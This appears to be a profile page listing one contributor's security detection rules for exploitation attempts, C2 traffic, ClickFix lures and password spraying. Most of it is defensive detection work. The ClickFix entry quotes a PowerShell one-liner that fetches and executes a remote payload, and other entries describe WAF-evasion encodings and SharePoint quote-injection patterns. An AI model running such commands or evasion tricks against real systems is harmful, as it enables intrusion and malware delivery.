Ankit Mehta
@SecvynIndiaTrusted contributorCompletionist
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This rule monitors the software inventory for vulnerable versions of OpenSSL and WolfSSL libraries. Specifically, it flags instances of WolfSSL prior to version 5.9.4, which are susceptible to peer-authentication bypass vulnerabilities. The rule is intended for patch management and asset exposure tracking rather than detecting active exploitation.
Detects potential exploitation attempts targeting the vulnerable Oracle PeopleSoft PSEMHUB Environment Management Hub endpoint (associated with CVE-2026-35273 and UNC6240). The rule identifies suspicious bursts of POST requests where the URI path uses percent-encoding or mixed-case characters to evade Web Application Firewall (WAF) filtering.
Detects potential exploitation attempts against CVE-2026-76504, an authentication bypass vulnerability in Cisco Catalyst SD-WAN Manager. The rule monitors web server logs for requests to 'j_security_check' that include URL-encoded characters (specifically %6a, representing 'j'), which is a known pattern used to bypass security filters.
Detects attempts to exploit a SharePoint vulnerability that involves bypassing SafeControls via quote-injection within the Register directive. The rule monitors POST requests to .aspx files for specific malicious patterns, including the use of 'ignoreParentFrozen' and malformed 'Register' tags that facilitate unauthorized code execution.
This rule monitors network traffic from CommonSecurityLog data to detect bidirectional communication between NetScaler appliances and known malicious infrastructure associated with the CVE-2026-88772 campaign, which is indicative of command-and-control activity.
Detects a suspicious pattern where a user authenticates to a remote access portal (like Citrix or VPN) without multi-factor authentication (MFA) or with an existing risk flag, followed by a surge in file activity (creation, modification, or renaming of >500 files or >200 distinct files) on the same account within a 24-hour window, potentially indicating compromised credential usage for staging data for exfiltration or ransomware.
This rule monitors for high-impact configuration API calls and the creation of new administrator accounts within the Cisco Secure Firewall Management Center (FMC). These actions are indicative of post-exploitation activity related to CVE-2026-20079, which allows for authentication bypass. The detection focuses on sensitive administrative actions such as policy deployment, certificate exports, and user account creation which, if performed without valid session context, suggest an unauthorized actor.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects outbound network connections to domains, URLs, and IP:Port combinations identified as malicious in the ThreatFox OSINT feed. This rule covers various commodity malware C2 and payload delivery infrastructure.
This rule detects potential password spraying activity by monitoring for a single source IP address that targets multiple distinct user accounts with failed authentication attempts. It specifically identifies 'low-and-slow' patterns that may attempt to evade standard lockout thresholds, and flags cases where legacy authentication protocols are utilized, a technique commonly employed to bypass Multi-Factor Authentication (MFA).
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